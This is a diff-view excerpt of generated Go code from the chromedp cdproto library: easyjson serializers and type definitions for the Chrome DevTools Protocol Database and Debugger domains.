||||
} else {
|
||||
if out.Database == nil {
|
||||
out.Database = new(Database)
|
||||
}
|
||||
(*out.Database).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase4(out *jwriter.Writer, in EventAddDatabase) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"database\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.Database == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*in.Database).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventAddDatabase) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventAddDatabase) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventAddDatabase) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventAddDatabase) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase5(in *jlexer.Lexer, out *Error) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "message":
|
||||
out.Message = string(in.String())
|
||||
case "code":
|
||||
out.Code = int64(in.Int64())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase5(out *jwriter.Writer, in Error) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"message\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.Message))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"code\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.Code))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v Error) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v Error) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *Error) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *Error) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase5(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase6(in *jlexer.Lexer, out *EnableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase6(out *jwriter.Writer, in EnableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EnableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase6(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase6(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase6(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase6(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase7(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase7(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase7(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase7(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase7(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase7(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase8(in *jlexer.Lexer, out *Database) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = ID(in.String())
|
||||
case "domain":
|
||||
out.Domain = string(in.String())
|
||||
case "name":
|
||||
out.Name = string(in.String())
|
||||
case "version":
|
||||
out.Version = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase8(out *jwriter.Writer, in Database) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"domain\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Domain))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"name\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Name))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"version\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Version))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v Database) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase8(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v Database) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase8(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *Database) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase8(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *Database) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase8(l, v)
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
package database
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventAddDatabase [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#event-addDatabase
|
||||
type EventAddDatabase struct {
|
||||
Database *Database `json:"database"`
|
||||
}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
package database
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// ID unique identifier of Database object.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#type-DatabaseId
|
||||
type ID string
|
||||
|
||||
// String returns the ID as string value.
|
||||
func (t ID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// Database database object.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#type-Database
|
||||
type Database struct {
|
||||
ID ID `json:"id"` // Database ID.
|
||||
Domain string `json:"domain"` // Database domain.
|
||||
Name string `json:"name"` // Database name.
|
||||
Version string `json:"version"` // Database version.
|
||||
}
|
||||
|
||||
// Error database error.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#type-Error
|
||||
type Error struct {
|
||||
Message string `json:"message"` // Error message.
|
||||
Code int64 `json:"code"` // Error code.
|
||||
}
|
||||
+1244
File diff suppressed because it is too large.
Load diff
+5294
File diff suppressed because it is too large.
Load diff
+85
@@ -0,0 +1,85 @@
|
||||
package debugger
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/mailru/easyjson"
|
||||
)
|
||||
|
||||
// EventBreakpointResolved fired when breakpoint is resolved to an actual
|
||||
// script and location.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-breakpointResolved
|
||||
type EventBreakpointResolved struct {
|
||||
BreakpointID BreakpointID `json:"breakpointId"` // Breakpoint unique identifier.
|
||||
Location *Location `json:"location"` // Actual breakpoint location.
|
||||
}
|
||||
|
||||
// EventPaused fired when the virtual machine stopped on breakpoint or
|
||||
// exception or any other stop criteria.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-paused
|
||||
type EventPaused struct {
|
||||
CallFrames []*CallFrame `json:"callFrames"` // Call stack the virtual machine stopped on.
|
||||
Reason PausedReason `json:"reason"` // Pause reason.
|
||||
Data easyjson.RawMessage `json:"data,omitempty"`
|
||||
HitBreakpoints []string `json:"hitBreakpoints,omitempty"` // Hit breakpoints IDs
|
||||
AsyncStackTrace *runtime.StackTrace `json:"asyncStackTrace,omitempty"` // Async stack trace, if any.
|
||||
AsyncStackTraceID *runtime.StackTraceID `json:"asyncStackTraceId,omitempty"` // Async stack trace, if any.
|
||||
}
|
||||
|
||||
// EventResumed fired when the virtual machine resumed execution.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-resumed
|
||||
type EventResumed struct{}
|
||||
|
||||
// EventScriptFailedToParse fired when virtual machine fails to parse the
|
||||
// script.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-scriptFailedToParse
|
||||
type EventScriptFailedToParse struct {
|
||||
ScriptID runtime.ScriptID `json:"scriptId"` // Identifier of the script parsed.
|
||||
URL string `json:"url"` // URL or name of the script parsed (if any).
|
||||
StartLine int64 `json:"startLine"` // Line offset of the script within the resource with given URL (for script tags).
|
||||
StartColumn int64 `json:"startColumn"` // Column offset of the script within the resource with given URL.
|
||||
EndLine int64 `json:"endLine"` // Last line of the script.
|
||||
EndColumn int64 `json:"endColumn"` // Length of the last line of the script.
|
||||
ExecutionContextID runtime.ExecutionContextID `json:"executionContextId"` // Specifies script creation context.
|
||||
Hash string `json:"hash"` // Content hash of the script, SHA-256.
|
||||
ExecutionContextAuxData easyjson.RawMessage `json:"executionContextAuxData,omitempty"`
|
||||
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with script (if any).
|
||||
HasSourceURL bool `json:"hasSourceURL,omitempty"` // True, if this script has sourceURL.
|
||||
IsModule bool `json:"isModule,omitempty"` // True, if this script is ES6 module.
|
||||
Length int64 `json:"length,omitempty"` // This script length.
|
||||
StackTrace *runtime.StackTrace `json:"stackTrace,omitempty"` // JavaScript top stack frame of where the script parsed event was triggered if available.
|
||||
CodeOffset int64 `json:"codeOffset,omitempty"` // If the scriptLanguage is WebAssembly, the code section offset in the module.
|
||||
ScriptLanguage ScriptLanguage `json:"scriptLanguage,omitempty"` // The language of the script.
|
||||
EmbedderName string `json:"embedderName,omitempty"` // The name the embedder supplied for this script.
|
||||
}
|
||||
|
||||
// EventScriptParsed fired when virtual machine parses script. This event is
|
||||
// also fired for all known and uncollected scripts upon enabling debugger.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-scriptParsed
|
||||
type EventScriptParsed struct {
|
||||
ScriptID runtime.ScriptID `json:"scriptId"` // Identifier of the script parsed.
|
||||
URL string `json:"url"` // URL or name of the script parsed (if any).
|
||||
StartLine int64 `json:"startLine"` // Line offset of the script within the resource with given URL (for script tags).
|
||||
StartColumn int64 `json:"startColumn"` // Column offset of the script within the resource with given URL.
|
||||
EndLine int64 `json:"endLine"` // Last line of the script.
|
||||
EndColumn int64 `json:"endColumn"` // Length of the last line of the script.
|
||||
ExecutionContextID runtime.ExecutionContextID `json:"executionContextId"` // Specifies script creation context.
|
||||
Hash string `json:"hash"` // Content hash of the script, SHA-256.
|
||||
ExecutionContextAuxData easyjson.RawMessage `json:"executionContextAuxData,omitempty"`
|
||||
IsLiveEdit bool `json:"isLiveEdit,omitempty"` // True, if this script is generated as a result of the live edit operation.
|
||||
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with script (if any).
|
||||
HasSourceURL bool `json:"hasSourceURL,omitempty"` // True, if this script has sourceURL.
|
||||
IsModule bool `json:"isModule,omitempty"` // True, if this script is ES6 module.
|
||||
Length int64 `json:"length,omitempty"` // This script length.
|
||||
StackTrace *runtime.StackTrace `json:"stackTrace,omitempty"` // JavaScript top stack frame of where the script parsed event was triggered if available.
|
||||
CodeOffset int64 `json:"codeOffset,omitempty"` // If the scriptLanguage is WebAssembly, the code section offset in the module.
|
||||
ScriptLanguage ScriptLanguage `json:"scriptLanguage,omitempty"` // The language of the script.
|
||||
DebugSymbols *DebugSymbols `json:"debugSymbols,omitempty"` // If the scriptLanguage is WebASsembly, the source of debug symbols for the module.
|
||||
EmbedderName string `json:"embedderName,omitempty"` // The name the embedder supplied for this script.
|
||||
}
|
||||
+629
@@ -0,0 +1,629 @@
|
||||
package debugger
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// BreakpointID breakpoint identifier.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-BreakpointId
|
||||
type BreakpointID string
|
||||
|
||||
// String returns the BreakpointID as string value.
|
||||
func (t BreakpointID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// CallFrameID call frame identifier.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-CallFrameId
|
||||
type CallFrameID string
|
||||
|
||||
// String returns the CallFrameID as string value.
|
||||
func (t CallFrameID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// Location location in the source code.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-Location
|
||||
type Location struct {
|
||||
ScriptID runtime.ScriptID `json:"scriptId"` // Script identifier as reported in the Debugger.scriptParsed.
|
||||
LineNumber int64 `json:"lineNumber"` // Line number in the script (0-based).
|
||||
ColumnNumber int64 `json:"columnNumber,omitempty"` // Column number in the script (0-based).
|
||||
}
|
||||
|
||||
// ScriptPosition location in the source code.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-ScriptPosition
|
||||
type ScriptPosition struct {
|
||||
LineNumber int64 `json:"lineNumber"`
|
||||
ColumnNumber int64 `json:"columnNumber"`
|
||||
}
|
||||
|
||||
// LocationRange location range within one script.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-LocationRange
|
||||
type LocationRange struct {
|
||||
ScriptID runtime.ScriptID `json:"scriptId"`
|
||||
Start *ScriptPosition `json:"start"`
|
||||
End *ScriptPosition `json:"end"`
|
||||
}
|
||||
|
||||
// CallFrame JavaScript call frame. Array of call frames form the call stack.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-CallFrame
|
||||
type CallFrame struct {
|
||||
CallFrameID CallFrameID `json:"callFrameId"` // Call frame identifier. This identifier is only valid while the virtual machine is paused.
|
||||
FunctionName string `json:"functionName"` // Name of the JavaScript function called on this call frame.
|
||||
FunctionLocation *Location `json:"functionLocation,omitempty"` // Location in the source code.
|
||||
Location *Location `json:"location"` // Location in the source code.
|
||||
ScopeChain []*Scope `json:"scopeChain"` // Scope chain for this call frame.
|
||||
This *runtime.RemoteObject `json:"this"` // this object for this call frame.
|
||||
ReturnValue *runtime.RemoteObject `json:"returnValue,omitempty"` // The value being returned, if the function is at return point.
|
||||
CanBeRestarted bool `json:"canBeRestarted,omitempty"` // Valid only while the VM is paused and indicates whether this frame can be restarted or not. Note that a true value here does not guarantee that Debugger#restartFrame with this CallFrameId will be successful, but it is very likely.
|
||||
}
|
||||
|
||||
// Scope scope description.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-Scope
|
||||
type Scope struct {
|
||||
Type ScopeType `json:"type"` // Scope type.
|
||||
Object *runtime.RemoteObject `json:"object"` // Object representing the scope. For global and with scopes it represents the actual object; for the rest of the scopes, it is artificial transient object enumerating scope variables as its properties.
|
||||
Name string `json:"name,omitempty"`
|
||||
StartLocation *Location `json:"startLocation,omitempty"` // Location in the source code where scope starts
|
||||
EndLocation *Location `json:"endLocation,omitempty"` // Location in the source code where scope ends
|
||||
}
|
||||
|
||||
// SearchMatch search match for resource.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-SearchMatch
|
||||
type SearchMatch struct {
|
||||
LineNumber float64 `json:"lineNumber"` // Line number in resource content.
|
||||
LineContent string `json:"lineContent"` // Line with match content.
|
||||
}
|
||||
|
||||
// BreakLocation [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-BreakLocation
|
||||
type BreakLocation struct {
|
||||
ScriptID runtime.ScriptID `json:"scriptId"` // Script identifier as reported in the Debugger.scriptParsed.
|
||||
LineNumber int64 `json:"lineNumber"` // Line number in the script (0-based).
|
||||
ColumnNumber int64 `json:"columnNumber,omitempty"` // Column number in the script (0-based).
|
||||
Type BreakLocationType `json:"type,omitempty"`
|
||||
}
|
||||
|
||||
// WasmDisassemblyChunk [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-WasmDisassemblyChunk
|
||||
type WasmDisassemblyChunk struct {
|
||||
Lines []string `json:"lines"` // The next chunk of disassembled lines.
|
||||
BytecodeOffsets []int64 `json:"bytecodeOffsets"` // The bytecode offsets describing the start of each line.
|
||||
}
|
||||
|
||||
// ScriptLanguage enum of possible script languages.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-ScriptLanguage
|
||||
type ScriptLanguage string
|
||||
|
||||
// String returns the ScriptLanguage as string value.
|
||||
func (t ScriptLanguage) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ScriptLanguage values.
|
||||
const (
|
||||
ScriptLanguageJavaScript ScriptLanguage = "JavaScript"
|
||||
ScriptLanguageWebAssembly ScriptLanguage = "WebAssembly"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ScriptLanguage) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ScriptLanguage) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ScriptLanguage) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ScriptLanguage(in.String()) {
|
||||
case ScriptLanguageJavaScript:
|
||||
*t = ScriptLanguageJavaScript
|
||||
case ScriptLanguageWebAssembly:
|
||||
*t = ScriptLanguageWebAssembly
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ScriptLanguage value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ScriptLanguage) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// DebugSymbols debug symbols available for a wasm script.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-DebugSymbols
|
||||
type DebugSymbols struct {
|
||||
Type DebugSymbolsType `json:"type"` // Type of the debug symbols.
|
||||
ExternalURL string `json:"externalURL,omitempty"` // URL of the external symbol source.
|
||||
}
|
||||
|
||||
// ScopeType scope type.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-Scope
|
||||
type ScopeType string
|
||||
|
||||
// String returns the ScopeType as string value.
|
||||
func (t ScopeType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ScopeType values.
|
||||
const (
|
||||
ScopeTypeGlobal ScopeType = "global"
|
||||
ScopeTypeLocal ScopeType = "local"
|
||||
ScopeTypeWith ScopeType = "with"
|
||||
ScopeTypeClosure ScopeType = "closure"
|
||||
ScopeTypeCatch ScopeType = "catch"
|
||||
ScopeTypeBlock ScopeType = "block"
|
||||
ScopeTypeScript ScopeType = "script"
|
||||
ScopeTypeEval ScopeType = "eval"
|
||||
ScopeTypeModule ScopeType = "module"
|
||||
ScopeTypeWasmExpressionStack ScopeType = "wasm-expression-stack"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ScopeType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ScopeType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ScopeType(in.String()) {
|
||||
case ScopeTypeGlobal:
|
||||
*t = ScopeTypeGlobal
|
||||
case ScopeTypeLocal:
|
||||
*t = ScopeTypeLocal
|
||||
case ScopeTypeWith:
|
||||
*t = ScopeTypeWith
|
||||
case ScopeTypeClosure:
|
||||
*t = ScopeTypeClosure
|
||||
case ScopeTypeCatch:
|
||||
*t = ScopeTypeCatch
|
||||
case ScopeTypeBlock:
|
||||
*t = ScopeTypeBlock
|
||||
case ScopeTypeScript:
|
||||
*t = ScopeTypeScript
|
||||
case ScopeTypeEval:
|
||||
*t = ScopeTypeEval
|
||||
case ScopeTypeModule:
|
||||
*t = ScopeTypeModule
|
||||
case ScopeTypeWasmExpressionStack:
|
||||
*t = ScopeTypeWasmExpressionStack
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ScopeType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ScopeType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// BreakLocationType [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-BreakLocation
|
||||
type BreakLocationType string
|
||||
|
||||
// String returns the BreakLocationType as string value.
|
||||
func (t BreakLocationType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// BreakLocationType values.
|
||||
const (
|
||||
BreakLocationTypeDebuggerStatement BreakLocationType = "debuggerStatement"
|
||||
BreakLocationTypeCall BreakLocationType = "call"
|
||||
BreakLocationTypeReturn BreakLocationType = "return"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t BreakLocationType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t BreakLocationType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch BreakLocationType(in.String()) {
|
||||
case BreakLocationTypeDebuggerStatement:
|
||||
*t = BreakLocationTypeDebuggerStatement
|
||||
case BreakLocationTypeCall:
|
||||
*t = BreakLocationTypeCall
|
||||
case BreakLocationTypeReturn:
|
||||
*t = BreakLocationTypeReturn
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown BreakLocationType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *BreakLocationType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// DebugSymbolsType type of the debug symbols.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-DebugSymbols
|
